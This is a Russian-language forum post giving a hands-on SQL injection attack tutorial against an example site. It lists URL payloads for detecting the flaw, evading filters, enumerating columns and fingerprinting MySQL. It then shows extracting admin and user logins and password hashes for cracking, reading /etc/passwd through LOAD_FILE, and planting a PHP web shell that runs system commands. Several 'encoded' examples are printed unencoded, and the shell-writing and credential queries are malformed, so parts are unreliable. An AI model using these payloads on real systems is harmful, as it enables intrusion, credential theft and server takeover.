SQL для криворуких

SergOishe

Пользователь
4 Июн 2018
292
192
296
[ SQL-injection в деталях ]

Сегодня мы будем говорить о уже намазолившей темы SQL-injection,
да я вас понимаю что опять читать материал на эту тему как то не
особо хочется, но хочу сказать одно в данном материале не будет
учебных наклоностей, суть материала показать, какими способами
можно найти данную уязвимость, точно узнать версию базы данных,
как обходить фильтры, какими командами можно пользоваться, как
шифровать запросы и тому подобное. Что бы мы понимали друг - друга,
я разобью данный материал на несколько пунктов, то есть мы будем
рассматривать методы атаки. Для тех кто впервые слышит о
SQL-injection, то первый пункт для вас, те кто уже знают что
это такое - можете смело пропустить первый пункт. Итак, начинаем.


1. Что такое SQL-injection

Это вид уязвимости которая возникает из-за недостаточной
проверки и обработки данных, которые передаются от пользователя,
и дает возможность модифицировать и выполнить непредвиденные
кодом программы SQL-запросы. Этот тип уязвимости очень распространнен
по всему интернету и очень часто взломы происходят благодоря
этому дефекту. Данный тип атаки не требует глубоких технических
знаний, но иногда обычные или проще сказать, старые методы не
всегда дают возможности кражи, подмены, уничтожения данных и
отказа в обслуживании.


2. Обнаружение SQL-injection

Какими способами можно найти уязвимость? Что нужно для обнаружения?
Что можно использовать для поиска? На эти и многие другие вопросы в
данном пункте будут даны ответы. Итак, мы начинаем. Вот к примеру
сайт, который отображает обычный рисунок:

http://www.sqlinjection.com/index.php?pic=1

Первый способ обнаружения он же самый популярный это подставить
символ кавычки ( ' ) то есть вот так вот:

http://www.sqlinjection.com/index.php?pic=1' #Подставляем символ ( ' )

Если параметр "pic" не фильтруется на символ ( ' ), то мы увидим
следующее сообщение:

MySQl failed to perform: SELECT show FROM pictures WHERE PID = '1'',
error message: You have an error in your SQL syntax; check the manual
that corresponds to your MySQL server version for the right syntax
to use near ''1''' at line 1

или такое:

You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax
to use near ''' at line 1

Различие между этим сообщениями об ошибке в том, что в первом сообщении
мы видим уже поле "show" и таблицу "pictures" это может нам
пригодится, а во втором сообщение просто говорится об ошибке.
Это первый способ определения уязвимости, ну а если параметр
фильтруется на символ ( ' )? Тогда можно закодировать символ в
ASCII кодировку то есть был символ ( ' ) стал ( %27 ) и пробуем его:

http://www.sqlinjection.com/index.php?pic=1'#Закодированный символ ( ' )

Если все пройдет удачно то мы увидим сообщение об ошибках, о
которых было сказано выше. Это далеко не все способы, едем дальше,
следующий способ это подставить символ ( - ):

http://www.sqlinjection.com/index.php?pic=-1 #Подставляем символ ( - )

Еще метод это подставка ( ; ), то есть вот так:

http://www.sqlinjection.com/index.php?pic=1; #Подстовляем символ ( ; )

Если так не получается, то можно закодировать символ ( ; ) и он
станет ( %3B ) и наш запрос принимает такой вид:

http://www.sqlinjection.com/index.php?pic=1; #Подстовляем закодированный символ ( ; )

Также вместо ковычек мы можем поставить символы, всеми любимые
"lala", "bbb" и т.д, т.е. вот так:

http://www.sqlinjection.com/index.php?pic=lala #Вместо 1 ставим символы "lala"
http://www.sqlinjection.com/index.php?pic=bbb #Вместо 1 ставим символы "bbb" :)))

Если ничего не происходит и вышеуказаные методы не работают,
тогда можно попробовать объеденить их, то есть вот так:

http://www.sqlinjection.com/index.php?pic=lala' #Подставляем символы и кавычку ( ' )

Можно попробовать и закодировать кавычку:

http://www.sqlinjection.com/index.php?pic=lala' #Подставляем закодированную кавычку ( %27 )

Иногда в скриптах не все параметры фильтруются на символы и кавычки,
иногда можно и такими извращенными методами найти уязвимость, но что
бы вы не путали, такими методами, то есть постановкой символов можно
найти уязвимость "INCLUDE", так что внимательней.

Так же можно найти уязвимость с использованием комментариев
"Многострочный ( /**/ )", "Однострочные ( # ) и ( -- )", то есть
наши запросы будут такими:

http://www.sqlinjection.com/index.php?pic=1/**/' #Подстовляем многострочный комментарий и кавычку
http://www.sqlinjection.com/index.php?pic=1#' #Подстовляем однострочный комментарий и кавычку
http://www.sqlinjection.com/index.php?pic=1--' #Подстовляем однострочный комментарий и кавычку

И тут же можно использовать кодирование кавычки так же, как мы делали
до этого, т.е. вот так:

http://www.sqlinjection.com/index.php?pic=1/**/' #То же самое что и ( /**/' )
http://www.sqlinjection.com/index.php?pic=1#' #То же самое что и ( #' )
http://www.sqlinjection.com/index.php?pic=1--' #То же самое что и ( --' )

Есть еще способ, хотя я не придаю ему значения, потому что он у меня проходил
только два раза т.е. использование пробела, я не гарантирую, что он пройдет,
но раз получалось, значит работает. Пример:

http://www.sqlinjection.com/index.php?pic=1 ' #Использование пробела и кавычки

И опять же, мы можем попробовать и с закодированием кавычки:

http://www.sqlinjection.com/index.php?pic=1 '#Использование пробела и закодированной кавычки

Дальше можно попробовать использовать операцию "OR" на русском "или",
и так запрос наш может стать таким:

http://www.sqlinjection.com/index.php?pic=-1 or 1=1 #Используем or 1=1

Данном случае идет изменение входных параметров путём добавления в них
конструкций языка SQL вызывает изменение в логике выполнения SQL-запроса
и вместо одного изображения будут выбраны все, потому что 1=1 это истиное
значение, или вернет все то же самое, что и без операции. Можно использовать
комментарии или пробелы что-то вроде этого " 1/**/or/**/1=1 " и тому
подобное, но когда открытый вид комментариев не помогает, то на помощь
приходит их кодирование то есть ( /**/ - %2F%2A%2A%2F ) так же ( # - %23 ).
Вид запроса будет такой:

http://www.sqlinjection.com/index.php?pic=1/**/or/**/1=1#Использование
закодированного комментария ( /**/ ), закодированой кавычки и операции "OR".

Таким же способом можно использовать и вышеиспользованные методы
обнаружения, т.е.:

http://www.sqlinjection.com/index.php?pic=1/**/'#Используем закодированный коментарий ( /**/ и кавычки ).

Вот все известные извращенные методы обнаружения SQL-injection которые мне
известны, дальше мы уже будем говорить о том, как подбирать поля.


3. Подбор полей

После обнаружения уязвимости, мы должны развить ее, чтобы узнать
какую информацию мы можем получить, для начала нам нужно подобрать поля.
Первый способ обнаружения полей, это банальный перебор полей с
использованием "UNION SELECT". Пример:

http://www.sqlinjection.com/index.php?pic=1+union+select+1,2,3,4,5,6,7,8,9,10/* #Перебор полей
от 1 до 10, если мы увидим любое число от 1 до 10, к примеру 5, на странице сайта - это
значит, что мы подобрали поле.

Еще способ, если не получается работать с символами ( + ),( , ) и ( /* ),
то можно закодировать данные символы:
( + - %2B ),( , - %2C ) ( /* - %2F%2A ) наш запрос:

http://www.sqlinjection.com/index.php?pic=1'+union+select+1,2,23,4,5,6,7,8,9,10/* #Использование закодированных символов ( ' + , /* )

Так же в место ( + ) можно использовать комментарии, как в обычном
виде так и в закодированом, пример:

http://www.sqlinjection.com/index.php?pic=1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10/*#Использование закодированных символов ( ' /**/ , /* )

Для тех, кто в танке - перебор полей с обычным комментарием выглядит так:

http://www.sqlinjection.com/index.php?pic=1/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10/* #Перебор с использованием многострочного комментария

Второй способ перебора полей - использования оператор "order by"
это очень простая конструкция и часто используется, вот пример ее
использования:

http://www.sqlinjection.com/index.php?pic=1+order+by+4/*#Поиск полей до 4

Если не вылетела ошибка, значит полей в запросе используется 4, пробуем дальше:

http://www.sqlinjection.com/index.php?pic=1+order+by+10/*#Поиск полей до 10

Если выкинуло ошибку, значит 10-го поля нет, и нам становится известно,
что полей в данном случае не меньше 4, но и не больше 10, попробуем
выбрать любое число из данного диапазона.

http://www.sqlinjection.com/index.php?pic=1+order+by+7/*

Если ошибки нет, значит количество поля в диапозоне от 7 до 9, хотя не факт,
может быть, что и 6 до 9 (в зависимости от запроса), тут надо только пробовать,
в данном случае нам надо проверить, хотя нам известно что кол-во полей равно 9
и можем составить вполне пригодный запрос чтобы посмотреть какое число
отобразится на странице пробуем так:

http://www.sqlinjection.com/index.php?pic=1+union+select+1,2,3,4,5,6,7,8,9/*

Если в данном случае отобразится "4", то могу вас поздравить, подбор
прошел удачно, но не забывайте что и данный запрос можно использоваться с
( /**/ ), вместо ( + ) и так же закодировать я говорю про символы
( + /**/ , /* ) как было показано выше. Дальше мы поговорим о том, как
получить информацию, как узнать точную версию базы данных, пользователя
и имя базы данных.


4. Получение информации через SQL-injection

После удачного обнаружения уязвимости и побдора полей, мы можем
приступить к получению информации и работать с ней. В придыдущем
пункте при удачном отображении поля "4", теперь мы можем
пробовать получить информацию, самые простые методы получения
информации приведены ниже:

http://www.sqlinjection.com/index.php?pic=1+union+select+1,2,3,version(),5,6,7,8,9/*

Ответ будет: 4.1.12-standard #Версия MySQL

http://www.sqlinjection.com/index.php?pic=1+union+select+1,2,3,user(),5,6,7,8,9/*

Ответ будет: sql_inj@localhost #Пользователь базы данных

http://www.sqlinjection.com/index.php?pic=1+union+select+1,2,3,database(),5,6,7,8,9/*

Ответ будет: sql_inj #Имя Базы Данных

Да, да я понимаю, вы это уже видели и об этом читали, но это еще
не все, когда я изучал SQL-injection я прочитал одну интересную
статью о том как точно определить версию MySQL и хочу поделиться
своими успехами. Итак, для того чтобы узнать точную версию базы
данных прийдется повозиться, только я приведу методы которые сам
вычитал и проверил, но есть одно но - сейчас для лучшего получения
результатов нужно кодировать запрос, а пока запросы обычные:

http://www.sqlinjection.com/index.php?pic=1+/*!40000+AND+0+*/ #Если вернет пустой результат то версия БД 4.0.0
http://www.sqlinjection.com/index.php?pic=1+/*!40100+AND+0+*/ #Если вернет пустой результат то версия БД 4.1.0
http://www.sqlinjection.com/index.php?pic=1+/*!40200+AND+0+*/ #Если вернет пустой результат то версия БД 4.2.0
http://www.sqlinjection.com/index.php?pic=1+/*!40300+AND+0+*/ #Если вернет пустой результат то версия БД 4.3.0
http://www.sqlinjection.com/index.php?pic=1+/*!40400+AND+0+*/ #Если вернет пустой результат то версия БД 4.4.0
http://www.sqlinjection.com/index.php?pic=1+/*!40500+AND+0+*/ #Если вернет пустой результат то версия БД 4.5.0

Вот так можно определять версию БД, думаю понятно как пользоваться
этим методом и как строить запрос, но как показала практика, я
получил желаемый результат только когда закодировал символы
( /* ! */ /**/) т.е. запрос принял такой вид:

http://www.sqlinjection.com/index.php?pic=1+/*!40112/**/AND/**/*/ #Запрос
выполнения с использованием закодирования символов ( /* ! */ /**/) на просмотр версии 4.1.12

Так же получилось и таким выполнением запроса:

http://www.sqlinjection.com/index.php?pic=1+union+select+1,2,3,/*!40112/**/AND/**/*/,5,6,7,8,9/*

И так мы узнали как получить информацию через SQL-injection,
да понимаю, не особо много, но это то, что я пробовал на практике,
дальше пойдет разговор о таблицах, чтении файлов через
SQL-injection и получения шелла.


5. Таблицы, получение логина и хеша,
чтение Файлов и получение шелла

После получения информации с помощью SQL-injection мы теперь
можем попробовать получить более нужную для нас информацию, а
именно, паролей и хешей участников сайта, форума и т.д, но для
этого нужно знать имя таблицы в которой хранится информация о
пользователях и хешах, обычно в самописных движках имена
таблиц, где хранится такая информация называются user, users,
pol и т.д, тут дело перебора, к данной статье было сделано
все именна таблиц популярных движков (отдельное спасибо
ov3rd0s'у). Итак, простой запрос на получения имени и пароля.
Расчитывается, что в базе таблица user хранит нужную информацию:

http://www.sqlinjection.com/index.php?pic=1'+union+select+username+from+user+where+username=1/* #Получаем логин админа

В данном запросе мы получаем данные о пользователе с
id равным 1, в данном случае админа, запрос обращается к
полю "username" и к таблице "user", обращение реализуется с
помощью "FROM". В запросе мы просим, чтобы показали то имя,
которое в поле "username" под id "1", в таком случае мы
можем просмотреть все логины повышая значения:

http://www.sqlinjection.com/index.php?pic=1'+union+select+username+from+user+where+username=2/* #Получаем логин юзера

И так мы получили имя пользователя под идентифекатором 2,
надеюсь понятно как работать с таким запросом, вы можете
закодировать все символы которые мы уже кодировали выше,
для более успешного выполнения запроса. И так мы получили
имена админа и юзера, но нам нужны их хеши - зашифрованные
пароли, для этого нам надо обратиться к полю "password"
это стандарт и в большинстве случаев используется именно
это имя поля, и так запрос на получения хеша админа:

http://www.sqlinjection.com/index.php?pic=1'+union+select+password+from+user+where+password=1/* #Получения хеша админа

http://www.sqlinjection.com/index.php?pic=1'+union+select+password+from+user+where+password=2/* #Получения хеша юзера

В таблице "user", как правило, содержится вся информация о
пользователях, и поэтому содержат поля "username",
"password","email_user" и т.д. После того, как мы
просмотрели всех юзеров и собрали хеши для брута мы
можем приступить к еще одной возможности - чтение
файлов. Чтение файлов можно произвести в том случае,
если пользователь под которым осуществляется доступ к
бд, имеет права "file_priv" то можно получить текст
произвольного файла с помощью функции LOAD_FILE("каталог"),
пример:

http://www.sqlinjection.com/index.php?pic=1+union+select+1,2,3,LOAD_FILE('etc/passwd'),5,6,7,8,9/*#Запрос на
просмотор содержимого каталога, если все пройдет хорошо то мы увидим что то вроде этого:

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:eek:perator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin

Укороченый вариант вывода каталога, на самом деле в
нем больше информации, не забывайте что вы можете
кодировать запросы, но когда LOAD_FILE() не работает,
или просто фильтрует, то можно обойти фильтрацию, но
об этом в следующем пункте, а пока поговорим о том
как получить шелл. Для того чтобы его получить нужно
знать корневую систему сайта, зная корневую систему
сайта можно простым запросом получить шелл:

http://www.sqlinjection.com/index.php?pic=1'+union+select+'<?print(system($_GET[cmd]))?>'+from+pictures+'/usr/local/sql/www/links/shell.php'/*

Тут в файл shell.php записывает
" <?print(system($_GET[cmd]))?> " что позволяет,
как вы догодались, выполнить команды на системе:

http://www.sqlinjection.com/links/shell.php?cmd=ls -la #Получаем содержимое всех файлов на сервере.

Казалось бы все просто, выполнил запрос и бац,
шелл тут как тут, а вот не все так просто, нужно
знать корневую систему сайта, есть несколько
способов, это использовать сканеры и то не факт,
что они помогут, или попытаться найти на сайте
уязвимости "include", тогда корневая система будет
перед вами. С вопросами о получении логинов, хешей,
и шелла мы разобрались, но это стандартные решения
и методы для выполнения, но не все так просто,
всегда есть то, что может помешать я говорю о
фильтрах, о том, как их обходить мы поговорим в
следующем пункте.